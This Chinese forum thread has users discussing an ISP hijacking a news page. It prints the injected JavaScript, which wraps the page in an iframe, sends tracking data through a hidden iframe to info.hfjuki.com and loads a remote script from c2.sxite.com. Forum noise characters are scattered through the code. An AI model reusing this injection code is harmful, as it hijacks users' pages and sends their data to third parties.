上网奇遇记

hudba

1 M# _" z4 L, T. R: _# p
上网易看新闻半天打不开，发现状态栏在现实访问一个奇怪的域名。心里一惊，难道电脑中毒了？赶紧查看源代码，发现后面加了一段js，真正的新闻内容给iframe了

接下来就是去搜索这个域名，得到v2ex里面也有人遇到这个问题，原来是运营商搞的鬼{:soso_e131:}

https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8

http://www.v2ex.com/t/142197

顺便查下ip138：

) Z  W6 m% Z) w2 k这是那段js里面的代码，好象是个半成品还没写入广告数据：
( ~3 `: N8 o1 U) o

1. function locationSearch() {
   6 s& f' |0 Y8 C' m7 R
2.         var s = getMainJs();
   
3.         if (s == null) {
     N% A& c1 I! r# m2 i
4.                 location.reload();
   ( I: {% Y+ r8 f! z! w
5.         }
   
6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);
   
7. }
   
8. 
   1 b  u9 U. ?/ i( P
9. function getParameter(name, paraStr) {
   " v3 y9 T+ m  K$ P4 S. K% ]. O" j/ V
10.         var result = "";
    
11.         var str = "&" + paraStr.split("?")[1];
    $ L$ U8 a2 a5 B! d" c& k: J; o
12.         var paraName = "&" + name + "=";
    
13.         if (str.indexOf(paraName) != -1) {
    % V# E* ~' ~: b% e, y
14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {
    
15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);
    
16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(
    8 ?9 T- j2 ~4 p) M: n" t
17.                                         1, TmpStr.length).indexOf("&")
    & }3 c1 }: {. ]. r. o7 I
18.                                         - TmpStr.indexOf(paraName) + 1);
    8 l% B$ X! K( s
19.                 } else {
    / X) Q  P$ B, {5 S3 I; q' P
20.                         result = str.substring(str.indexOf(paraName), str.length);
    / }2 A8 }2 a! n2 n( V! U
21.                 }
    6 l4 ]( z0 \4 W. k6 \% ~
22. 
    ; G9 t) h, f7 @. Y$ Q; W' N
23.                 result = result.substring(result.indexOf("=") + 1, result.length);
    " l5 z  p: I8 ~# b$ j
24.         } else {
    
25.                 result = "No such parameter";
    
26.         }
    & M/ \. |+ N. R* F
27.         return (result.replace("&", ""));
    
28. }
    
29. 
    
30. function getMainJs() {
    
31.         var scripts = document.getElementsByTagName("script");
    5 ~+ X$ J) Z5 ~1 Y. L# K3 ^5 s( J
32.         var s = null;
    ( f9 _2 }5 y2 c) S8 r# |4 x0 w
33.         for (var i = 0; i < scripts.length; i++) {
    
34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
    - p5 ?8 h, |+ ?6 B" z# G
35.                         s = scripts[i];
    
36.                         break;
    2 I4 U4 T1 _/ f) p. f) M  U6 Y" R% T
37.                 }
    
38.         }
    
39.         return s;
    
40. }
    4 F8 x) M- n) M
41. 
    0 \: e. u; L2 c5 j
42. function appendParam(oStr, aStr) {
    & x" ^# E4 G, u& N( R
43.         if (oStr.indexOf('?') > 0) {
    
44.                 oStr = oStr + "&" + aStr;
      d9 t' J0 T3 A* I9 i
45.         } else {
    
46.                 oStr = oStr + "?" + aStr;
    2 e& W( i& }& [, ^4 r8 u" Q
47.         }
    
48.         return oStr;
    $ _2 h; m1 J+ v# A: U. P; R& J
49. }
    " Q& i. k: k6 ]
50. 
    7 H$ v. f. X3 l& r2 H3 q& A
51. window.onerror = function() {
    
52. };
    
53. 
    7 m5 y' J  J1 Y. ?3 R7 @
54. var g_titleTime = 0;
    : U, f! b) o1 j
55. function setTcTitle() {
    - Q, \% b/ M) J: q, G- e# G
56.         if (undefined == document) {
    3 V. \2 |8 ]5 V7 D" q9 e
57.                 g_titleTime++;
    , b! T. R9 f' a1 n+ o. a
58.                 setTimeout("setTcTitle();", 1000);
    2 G) J2 W7 c  h1 W5 Q" H
59.                 return;
    
60.         }
    & ?3 ?. ?' M& B* L, o, i
61. 
    6 C( @( {+ z) t  W
62.         var doc;
    ) W/ G% ~- r' ]$ Z$ b
63.         try {
    ) f, }7 S6 O' Y4 S6 M; e
64.                 if (document.all) {
    . C) j% z+ n7 }6 F
65.                         doc = document.frames["cn"].document;
    - x/ |, P% v; o" m- k
66.                 } else {
    2 f1 Q( `& b$ s7 C# E  l
67.                         doc = document.getElementById("cn").contentDocument;
    
68.                 }
    
69.         } catch (ex) {
    
70.         }
    . N; Y, R/ Y, R! X
71. 
    
72.         if (g_titleTime < 5
    4 [- ?! t9 r8 n, t: ^
73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {
    
74.                 g_titleTime++;
    ' L0 E0 l- ]! H- g. @* O& N- a3 s7 |
75.                 setTimeout("setTcTitle();", 1000);
    
76.                 return;
    
77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    " Y5 e& P& B/ L* O/ }# U' ]/ g5 {
78.                 document.title = doc.title;
    
79.                 setTcAdvVisible();
    
80.         }
    
81. }
      G/ g0 t. k! Q1 H- M& N% ?; |
82. 
    0 U7 M. f+ i7 d$ t- `
83. setTimeout("setTcTitle();", 1000);
    8 J$ c/ O2 ~/ ]( ]$ z
84. 
    9 I5 J2 P' a( {5 @% ]) C3 B
85. var g_isHaveVisible = false;
      F% ~# P4 |* R& ?  n5 _
86. function setTcAdvVisible() {
    
87.         if (undefined != document && undefined != document.getElementById("addiv")
    0 V; m  S  X0 A
88.                         && !g_isHaveVisible) {
    ! a$ A  r9 p( b" g+ M; h
89.                 document.getElementById("addiv").style.visibility = 'visible';
    3 g; F% x7 T. V
90.                 document.getElementById("addiv").style.display = 'block';
    : d9 v' H+ @4 ]9 A, d
91.                 g_isHaveVisible = true;
    
92.         }
    
93. }
    9 \1 p  {1 s9 Z# L$ x% x6 }
94. 
    $ z. Z2 J4 N5 K0 X/ X  Q# @
95. function UrlAnalyzer() {
    
96.         this.divda = "";
    . E( g; w9 f8 o/ E
97.         this.tctype = "";
    5 B- B1 @9 d( y! H# \% [% x4 f
98.         this.radius = "";
    
99.         this.rlu = "";
    ; F+ K% C! S% x1 |
100. }
     0 d. t2 z& W1 e7 n. k7 P
101. 
     
102. UrlAnalyzer.prototype.initParameters = function() {
     3 z1 T" ]4 ]& V- N5 \
103.         var paraStr = locationSearch();
     % i& u+ T- J5 U, b
104.         this.rlu = getParameter("lruedct", paraStr);
     
105.         this.divda = getParameter("divda", paraStr);
     
106.         this.radius = getParameter("radius", paraStr);
     + E( a: B; e0 r: i: ?) a
107.         this.tctype = getParameter("tctype", paraStr);
     " s% \$ ~+ i; X( [& C/ W
108.         this.address = getParameter("address", paraStr);
     8 j1 L+ Q- M0 B. w4 A4 g( ^+ Z
109.         this.usagent = getParameter("usagent", paraStr);
     5 H$ B) G  L& F6 t3 B+ r
110. }
     
111. 
     - j- O- w3 x& o" j! P
112. UrlAnalyzer.prototype.getHtmlDoc = function() {
     
113.         var doc;
     
114.         try {
       {% K+ U. ~) T- X- v' P' i0 l
115.                 if (document.all) {
     
116.                         doc = document.frames["cn"].document;
     0 a. `: `( ^) Q5 y
117. 
       `1 X6 R% m- S% J* p
118.                 } else {
     0 H2 s" n' |* z2 p9 U9 C4 W
119.                         doc = document.getElementById("cn").contentDocument;
     6 @+ O$ Z8 X' B) ~. [
120.                         // doc = document.getElementById("cn").contentWindow.document;
     
121.                 }
     
122.         } catch (ex) {
     
123.         }
     
124.         return doc;
     ( C' }4 m% d% N
125. }
     
126. 
     * [- W1 s* f9 ~! G
127. UrlAnalyzer.prototype.setDomain = function() {
     ' o! x4 H( n2 j0 m) M$ D$ T, V
128.         if (undefined != document.title && "" == document.title)
     ; v+ P9 o( U. P( J
129.         {
     ; H0 }2 _8 J2 |
130.                 var index = document.domain.indexOf(".");
     ; }& h7 Y- w; ?
131.                 if (undefined != index && -1 != index) {
     7 U: s8 F% N, x5 v8 I) ]
132.                         document.domain = document.domain.substring(index + 1,
     
133.                                         document.domain.length);
     
134.                 }
     ; g& o/ e0 h+ m' \' k+ H
135.                
     - C+ O2 \! c. b8 R: I
136.                 var doc = this.getHtmlDoc();
     3 L, y) d$ t+ V8 d& _+ l
137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {
     3 f/ z) C1 G' \7 b
138.                         document.title = doc.title;
     
139.                         setTcAdvVisible();
       k2 Y2 ~0 M5 E; Q8 Q
140.                 }
       [- f+ H6 w2 r
141.         }
     , T- U5 k% z9 f; n
142. }
     5 T4 a& ?" W( m+ [4 n6 a/ O
143. 
     4 u- R" w( p6 W2 g5 y9 C8 w% \* T
144. UrlAnalyzer.prototype.iframeCallback = function() {
     
145.         var doc = this.getHtmlDoc();
     
146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {
     
147.                 if (undefined != document.domain) {
     
148. 
     
149.                         var self = this;
     
150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);
     ; d% l2 L+ a$ ~
151.                         // var index = document.domain.indexOf(".");
     
152.                         // if (undefined != index && -1 != index) {
     
153.                         // document.domain = document.domain.substring(index + 1,
     
154.                         // document.domain.length);
     
155.                         // }
     . x1 e% G% z0 C' X4 t1 V2 c
156.                         //
     ) i' U# w' r' J7 Z
157.                         // var doc = this.getHtmlDoc();
     & q7 }+ H2 U! }; [+ z
158.                         // if (undefined != doc && undefined != doc.title && "" !=
     , [" [8 o  c5 W* q3 I. b
159.                         // doc.title) {
     5 H4 K3 v4 a6 p. r' `( i0 c3 M
160.                         // document.title = doc.title;
     
161.                         // setTcAdvVisible();
     / T9 r- D6 n' W/ E2 b+ }5 w
162.                         // }
     7 J, M9 n" P3 J3 W: {* h* C
163.                 }
     
164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
     
165.                 document.title = doc.title;
     
166.                 setTcAdvVisible();
     6 E; i) V* ^: s3 a% h7 \+ ~
167.         }
     - O9 Y7 n& ~! c+ ~% S: ~9 j
168. }
     $ e6 T# M/ p$ C" C* ]% q& P( L
169. 
     
170. UrlAnalyzer.prototype.executeHtmlContext = function() {
     
171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda
     ' N, q! y1 d' d+ \
172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;
     $ X+ w: r$ L/ j/ ?8 a0 k% g" I
173. 
     % j/ u" A# X, H0 T# J5 |
174.         var htmlStr = "<iframe src="" + staUrl
     - |# I9 r; Q/ g
175.                         + "" style="display:none"></iframe>";
     
176. 
     . ^' N5 c  |& P" ]. n- n/ ]; z. J
177.         var advUrl = htmlStr
     / j& Y5 }* @$ m, ]3 L
178.                         + "<script src="http://c2.sxite.com:8060/center?advId="
     
179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";
     3 c4 i* q4 q: N
180.         document.write(advUrl);
     % v# ~' e3 K0 K. Q9 P! R
181. 
     4 i$ K7 E" R5 e& J
182.         var self = this;
     
183.         var iframe = document.getElementById("cn");
       Y( x3 s- p+ h: l. u7 ~
184.         if (iframe.attachEvent) {
     
185.                 iframe.attachEvent("onload", function() {
     , F+ N4 |, Z2 y1 ^( Q( ]8 U
186.                         self.iframeCallback.call(self, null);
     # q; a* d" @& P" e1 T$ R1 V
187.                 });
     & S! \, c7 ?8 s( m& g4 j
188.         } else {
     % L: U- b$ [' ]0 Z3 M2 Y7 ^
189.                 iframe.onload = function() {
     % f! n/ B) \) R. B9 a0 [- l
190.                         self.iframeCallback.call(self, null);
     8 n5 }- k3 y: c5 y$ `0 h" I% H
191.                 }
       \8 p! K* X- h# |2 c
192.         }
     - g* e, r8 A, j8 g4 p- F# B
193. }
     
194. 
     + m( V1 m/ W# X& z( J( i
195. UrlAnalyzer.prototype.executeMain = function() {
     
196.         var mainFrame = document.getElementById("cn");
     * A3 g% W5 w- `- \
197.         mainFrame.contentWindow.location.href = mainFrame.src;
     1 D# R6 c2 R5 o  @# }
198.         this.initParameters();
     0 a( g5 s5 t/ x: \+ J5 q  X& j
199.         this.executeHtmlContext();
     $ |' F0 Z2 d; D
200. }
     
201. 
     9 ?, C/ B  V+ w1 J8 Y
202. var g_analyzer = new UrlAnalyzer();
     . Q2 |) l1 F3 H3 f4 W* u0 H- a) J7 }
203. g_analyzer.executeMain();
     & m$ n/ |/ i+ b# b2 ~0 |

复制代码

ads419

Welcome to China      

cissss

我在想有没有大牛会去干电信那个网页，那就发啦。哈哈

阿百川

所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

firearmer

法制不健全，没法。我这里也有电信绑架的问题，但你没辙，要国外，早赔的只剩内裤了。

老刘

电信DNS劫持不是一天两天了。国家垄断企业，没人能管”。。。

giveatry

我这段时间也遇到了，投诉了两次，这几天没出现了，再出现继续投诉

ads419

阿百川 发表于 2015-2-3 09:49
所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...

; l( t  W6 S7 j1 [  f/ V: H7 VTCP劫持，换DNS也不管用的。

阿百川

ads419 发表于 2015-2-3 21:26
+ ~  K2 g1 T6 g% s, N. l- L$ sTCP劫持，换DNS也不管用的。

. q" j' F. c" d* [( [( v: m  _幸好联通还木有这么强的技术

哈默

在国内，习惯就好